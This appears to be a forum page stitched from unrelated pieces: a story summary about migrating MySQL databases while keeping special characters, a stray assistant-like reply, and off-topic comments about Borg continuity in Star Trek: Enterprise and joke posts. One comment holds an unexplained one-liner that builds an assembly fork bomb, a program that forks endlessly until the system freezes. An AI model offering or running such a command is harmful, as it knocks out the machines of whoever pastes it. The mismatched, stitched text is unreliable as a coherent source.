Migrate a MySQL Database Preserving Special Characters
TomSlick writes "Michael Chu's blog provides a good solution for people migrating their MySQL databases and finding that special characters (like smart quotes) get mangled. He presents two practical solutions to migrating the database properly."

This link covers pretty much what there is to understand about the passage. Could you tell me what piece you had in mind when you asked the question?
Indeed, but the creators of Enterprise completely painted themselves in a corner. They had a cute idea, hoping to revive the original Trekkie spirit, but they soon realized that they don't have enough material for a series here without stepping into realms already covered in the previous 'future' series'. The Borg are a good example of this.
According to VOY, the Borg have the ability to travel almost anywhere in the Galaxy in fairly short periods of time. THIS explains the outposts.
Annika was assimilated when she was a small child, 6 if I remember correctly. That was about 12-14 years before her time on voyager. This puts it, time wise, shortly after the Enterprise D's first encounter with the Borg (Q). And if you look at the Hansen's ship on VOY, its very TNG-esque in its style.
Putting the Borg on Enterprise was a bad move and totally messes up continuity. Their way around it is simply to never have the Borg identify themselves. And if this was as major an event as Enterprise made it out to be, EVERY captain, not to mention every cadet, would have known about the 'cybernetic creatures'. And one more minor thing, but something every trekkie can quote:
'We are the Borg. You will be assimiliated. Resistance is futile'
unless you're appearing on enterprise. then its:
'You will be assimiliated. Resistance is futile'
I enjoyed some of the episodes of Enterprise. But really, the whole show was a bad concept. They really restricted themselves to a short period of ST history, with all of the events on both sides of that period being known. Basically they jumped on the Star Wars prequel bandwagon. And truth be told, it didnt work that well for SW either.
If they're going to make another series, and I sincerely hope they do, it needs to be set well in the future beyond the TNG-DS9-VOY timeframe. Otherwise you get tripped up on big plot holes like this that simply turn off fans, damage the franchise, and lead to the demise of the series.
We've had enough glimpses of futures beyond the 24th century that they could start to build a framework based on those things. I can't wait to see it!
Thank you for this post.
I'm go through a very bad devorce at the moment. I've actually moved back in to my parents basement, but my soon-to-be ex wife still keeps visiting. I've tried various ways to discourage her, including putting up a picture of my new partner, Cletus and I in our matching fursuits, on the cellar door, but none has worked.
But since I put a printout of your post up, she hasn't come around at all.
If women were vampires, your post would be garlic.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Unfortunately, there are some women who resemble werewolves, and they are attracted to Star Trek like it was made out of ice cream.
Stick a Serenity poster on your door, that'll keep them away.
